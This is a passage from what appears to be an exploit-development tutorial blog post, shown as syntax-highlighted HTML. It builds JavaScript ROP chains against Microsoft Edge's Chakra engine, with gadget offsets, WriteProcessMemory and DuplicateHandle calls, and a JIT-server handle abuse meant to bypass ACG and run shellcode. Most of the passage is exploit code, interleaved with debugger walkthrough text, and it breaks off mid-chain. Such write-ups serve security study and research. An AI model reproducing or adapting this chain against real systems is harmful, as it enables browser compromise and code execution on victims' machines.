<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!WriteProcessMemory)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// "return address" for KERNELBASE!WriteProcessMemory - 0x180243949: add rsp, 0x38 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)         </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// SIZE_T *lpNumberOfBytesWritten (NULL) (RSP+0x28)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
<span class="nx">next</span><span class="p">();</span>
</code></pre></div></div>

<p>Let’s now walk through this in the debugger. We again set a breakpoint on <code class="language-plaintext highlighter-rouge">jmp rax</code> until we reach our call to <code class="language-plaintext highlighter-rouge">CreateRemoteThread</code>. From here we can <code class="language-plaintext highlighter-rouge">pt</code> this function call to pause at the <code class="language-plaintext highlighter-rouge">ret</code>, and view our first gadgets for our <em>new</em> <code class="language-plaintext highlighter-rouge">WriteProcessMemory</code> ROP chain.</p>

<p><img src="/images/3typeconfusion135.png" alt="" /></p>

<p>If we look at the above <code class="language-plaintext highlighter-rouge">WriteProcessMemory</code> ROP chain, we start off by actually preserving the value of the handle to the thread we just created in the <code class="language-plaintext highlighter-rouge">.data</code> section of <code class="language-plaintext highlighter-rouge">kernelbase.dll</code> (very similarly to what we did with preserving our <code class="language-plaintext highlighter-rouge">VirtualAllocEx</code> allocation). We can see this in action below (remember <code class="language-plaintext highlighter-rouge">CreateRemoteThread</code>’s return value is the handle value to the new thread. It is stored in RAX, so we can pull it directly from there):</p>

<p><img src="/images/3typeconfusion136.png" alt="" /></p>

<p>After preserving the address, we begin with our first parameter - <code class="language-plaintext highlighter-rouge">nSize</code>. Since we are just writing a pointer value, we specify <code class="language-plaintext highlighter-rouge">8</code> bytes (while dealing with the pesky <code class="language-plaintext highlighter-rouge">cmp r8d,  [rax]</code> instruction):</p>

<p><img src="/images/3typeconfusion137.png" alt="" /></p>

<p>Our function call is now in the following state:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">WriteProcessMemory</span><span class="p">(</span>
	<span class="o">-</span>
	<span class="o">-</span>
	<span class="o">-</span>
	<span class="mh">0x8</span>							<span class="c1">// 64-bit pointer size (sizeof(QWORD)))</span>
	<span class="o">-</span>
<span class="p">);</span>
</code></pre></div></div>

<p>The next parameter we will target is <code class="language-plaintext highlighter-rouge">hProcess</code>. This time we are not writing remotely, and we can simply use <code class="language-plaintext highlighter-rouge">-1</code>, or <code class="language-plaintext highlighter-rouge">0xFFFFFFFFFFFFFFFF</code>. This is the value returned by <code class="language-plaintext highlighter-rouge">GetCurrentProcess</code> to retrieve a handle to the current process. This tells <code class="language-plaintext highlighter-rouge">WriteProcessMemory</code> to perform this write process within the content process, where our <code class="language-plaintext highlighter-rouge">VirtualProtect</code> ROP chain is and where our exploit is currently executing. We can simply just write this value to the stack and <code class="language-plaintext highlighter-rouge">pop</code> it into RCX.</p>

<p><img src="/images/3typeconfusion138.png" alt="" /></p>

<p>Our call is now in the current state:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">WriteProcessMemory</span><span class="p">(</span>
	<span class="p">(</span><span class="n">HANDLE</span><span class="p">)</span><span class="mh">0xFFFFFFFFFFFFFFFF</span><span class="p">,</span> 				<span class="c1">// Pseudo handle to the current process (the content process, when the exploit is executing)</span>
	<span class="o">-</span>
	<span class="o">-</span>
	<span class="mh">0x8</span>							<span class="c1">// 64-bit pointer size (sizeof(QWORD)))</span>
	<span class="o">-</span>
<span class="p">);</span>
</code></pre></div></div>

<p>Next up is <code class="language-plaintext highlighter-rouge">lpBaseAddress</code> parameter. This is where we want <code class="language-plaintext highlighter-rouge">WriteProcessMemory</code> to write whatever data we want to. In this case, this is the location in the <code class="language-plaintext highlighter-rouge">VirtualProtect</code> ROP chain in the <code class="language-plaintext highlighter-rouge">.data</code> section of <code class="language-plaintext highlighter-rouge">chakra.dll</code>.</p>

<p><img src="/images/3typeconfusion139.png" alt="" /></p>

<p>Our call is now in the current state:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">WriteProcessMemory</span><span class="p">(</span>
	<span class="p">(</span><span class="n">HANDLE</span><span class="p">)</span><span class="mh">0xFFFFFFFFFFFFFFFF</span><span class="p">,</span> 				<span class="c1">// Pseudo handle to the current process (the content process, when the exploit is executing)</span>
	<span class="n">addressof</span><span class="p">(</span><span class="n">VirtualProtectROPChain_offset</span><span class="p">),</span>		<span class="c1">// Address of our return value from VirtualAllocEx (where we want to write the VirtualAllocEx_allocation address to)</span>
	<span class="o">-</span>
	<span class="mh">0x8</span>							<span class="c1">// 64-bit pointer size (sizeof(QWORD)))</span>
	<span class="o">-</span>
<span class="p">);</span>
</code></pre></div></div>

<p>The next item to take care of is the <code class="language-plaintext highlighter-rouge">lpBuffer</code>. This memory address contains the contents we want to write to <code class="language-plaintext highlighter-rouge">lpBaseAddress</code>. Recall earlier that we stored our <code class="language-plaintext highlighter-rouge">VirtualAllocEx</code> allocation (our shellcode location in the remote process) into the <code class="language-plaintext highlighter-rouge">.data</code> section of <code class="language-plaintext highlighter-rouge">kernelbase.dll</code>. Since <code class="language-plaintext highlighter-rouge">lpBuffer</code> requires a pointer, we simply just need to place the <code class="language-plaintext highlighter-rouge">.data</code> address of our stored allocation into R8.</p>

<p><img src="/images/3typeconfusion140.png" alt="" /></p>

<p>Our call is now in the following state:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">WriteProcessMemory</span><span class="p">(</span>
	<span class="p">(</span><span class="n">HANDLE</span><span class="p">)</span><span class="mh">0xFFFFFFFFFFFFFFFF</span><span class="p">,</span> 				<span class="c1">// Pseudo handle to the current process (the content process, when the exploit is executing)</span>
	<span class="n">addressof</span><span class="p">(</span><span class="n">VirtualProtectROPChain_offset</span><span class="p">),</span>		<span class="c1">// Address of our return value from VirtualAllocEx (where we want to write the VirtualAllocEx_allocation address to)</span>
	<span class="n">addressof</span><span class="p">(</span><span class="n">VirtualAllocEx_Allocation</span><span class="p">),</span>			<span class="c1">// Address of our VirtualAllocEx allocation (where our shellcode resides in the JIT process at this point in the exploit)</span>
	<span class="mh">0x8</span>							<span class="c1">// 64-bit pointer size (sizeof(QWORD)))</span>
	<span class="o">-</span>
<span class="p">);</span>
</code></pre></div></div>

<p>The last parameter we need to write to the stack, so we will go ahead and load <code class="language-plaintext highlighter-rouge">WriteProcessMemory</code> into RAX and directly write our <code class="language-plaintext highlighter-rouge">NULL</code> value.</p>

<p><img src="/images/3typeconfusion141.png" alt="" /></p>

<p>Here is our <code class="language-plaintext highlighter-rouge">VirtualProtect</code> ROP chain before (we are trying to update it an exploit runtime):</p>

<p><img src="/images/3typeconfusion142.png" alt="" /></p>

<p>After (using <code class="language-plaintext highlighter-rouge">pt</code> to execute the call to <code class="language-plaintext highlighter-rouge">WriteProcessMemory</code>, which pauses execution on the <code class="language-plaintext highlighter-rouge">ret</code>):</p>

<p><img src="/images/3typeconfusion143.png" alt="" /></p>

<p>As we can see, we successfully updated our ROP chain so that when the <code class="language-plaintext highlighter-rouge">VirtualProtect</code> ROP chain is eventually called, it is aware of where our shellcode is.</p>

<h2 id="writeprocessmemory-rop-chain-round-3"><code class="language-plaintext highlighter-rouge">WriteProcessMemory</code> ROP Chain (Round 3)</h2>

<p>This ROP chain is <em>identical</em> to the above ROP chain, except for the fact we want to overwrite a placeholder for the “fake return address” after our eventual call to <code class="language-plaintext highlighter-rouge">VirtualProtect</code>. We want <code class="language-plaintext highlighter-rouge">VirtualProtect</code>, after it is called, to transfer execution to our shellcode. This can be seen in a snippet of our <code class="language-plaintext highlighter-rouge">VirtualProtect</code> ROP chain.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Store the current offset within the .data section into a var</span>
<span class="nx">ropoffsetTwo</span> <span class="o">=</span> <span class="nx">countMe</span><span class="p">;</span>

<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>                <span class="c1">// Will be updated with the VirtualAllocEx allocation (our shellcode)</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1ef039</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>         <span class="c1">// 0x1801ef039: push rdi ; ret (Return into our shellcode)</span>
<span class="nx">inc</span><span class="p">();</span>
</code></pre></div></div>

<p>We need to reconcile this, just like we did in our last <code class="language-plaintext highlighter-rouge">WriteProcessMemory</code> call, where we dynamically updated the ROP chain. Again, we need to use <em>another</em> call to <code class="language-plaintext highlighter-rouge">WriteProcessMemory</code> to update this last location. This will ensure our eventual <code class="language-plaintext highlighter-rouge">VirtualProtect</code> ROP chain is good to go. We will omit these steps, as it is all documented above, but I will still provide the updated code below.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// alert() for debugging</span>
<span class="nx">alert</span><span class="p">(</span><span class="dl">"</span><span class="s2">DEBUG</span><span class="dl">"</span><span class="p">);</span>

<span class="c1">// Store the value of the handle to the JIT server by way of chakra!ScriptEngine::SetJITConnectionInfo (chakra!JITManager+s_jitManager+0x8)</span>
<span class="nx">jitHandle</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74d838</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>

<span class="c1">// Helper function to be called after each stack write to increment offset to be written to</span>
<span class="kd">function</span> <span class="nx">next</span><span class="p">()</span>
<span class="p">{</span>
    <span class="nx">counter</span><span class="o">+=</span><span class="mh">0x8</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// Begin ROP chain</span>
<span class="c1">// Since __fastcall requires parameters 5 and so on to be at RSP+0x20, we actually have to put them at RSP+0x28</span>
<span class="c1">// This is because we don't push a return address on the stack, as we don't "call" our APIs, we jump into them</span>
<span class="c1">// Because of this we have to compensate by starting them at RSP+0x28 since we can't count on a return address to push them there for us</span>

<span class="c1">// DuplicateHandle() ROP chain</span>
<span class="c1">// Stage 1 -&gt; Abuse PROCESS_DUP_HANDLE handle to JIT server by performing DuplicateHandle() to get a handle to the JIT server with full permissions</span>
<span class="c1">// ACG is disabled in the JIT process</span>
<span class="c1">// https://bugs.chromium.org/p/project-zero/issues/detail?id=1299</span>

<span class="c1">// Writing our ROP chain to the stack, stack+0x8, stack+0x10, etc. after return address overwrite to hijack control-flow transfer</span>

<span class="c1">// HANDLE hSourceProcessHandle (RCX) _should_ come first. However, we are configuring this parameter towards the end, as we need RCX for the lpTargetHandle parameter</span>

<span class="c1">// HANDLE hSourceHandle (RDX)</span>
<span class="c1">// (HANDLE)-1 value of current process</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0xffffffff</span><span class="p">,</span> <span class="mh">0xffffffff</span><span class="p">);</span>             <span class="c1">// Pseudo-handle to current process</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// HANDLE hTargetProcessHandle (R8)</span>
<span class="c1">// (HANDLE)-1 value of current process</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x24628b</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x18024628b: mov r8, rdx ; add rsp, 0x48 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// LPHANDLE lpTargetHandle (R9)</span>
<span class="c1">// This needs to be a writable address where the full JIT handle will be stored</span>
<span class="c1">// Using .data section of chakra.dll in a part where there is no data</span>
<span class="cm">/*
0:053&gt; dqs chakra+0x72E000+0x20010
00007ffc`052ae010  00000000`00000000
00007ffc`052ae018  00000000`00000000
*/</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72e128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll with a non-zero value to bypass cmp r8d, [rax] future gadget</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74e010</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll which will hold full perms handle to JIT server;</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xf6270</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// HANDLE hSourceProcessHandle (RCX)</span>
<span class="c1">// Handle to the JIT process from the content process</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">jitHandle</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="nx">jitHandle</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>         <span class="c1">// PROCESS_DUP_HANDLE HANDLE to JIT server</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// Call KERNELBASE!DuplicateHandle</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">duplicateHandle</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="nx">duplicateHandle</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span> <span class="c1">// KERNELBASE!DuplicateHandle (Recall this was our original leaked pointer var for kernelbase.dll)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!DuplicateHandle)</span>
<span class="nx">next</span><span class="p">();</span>
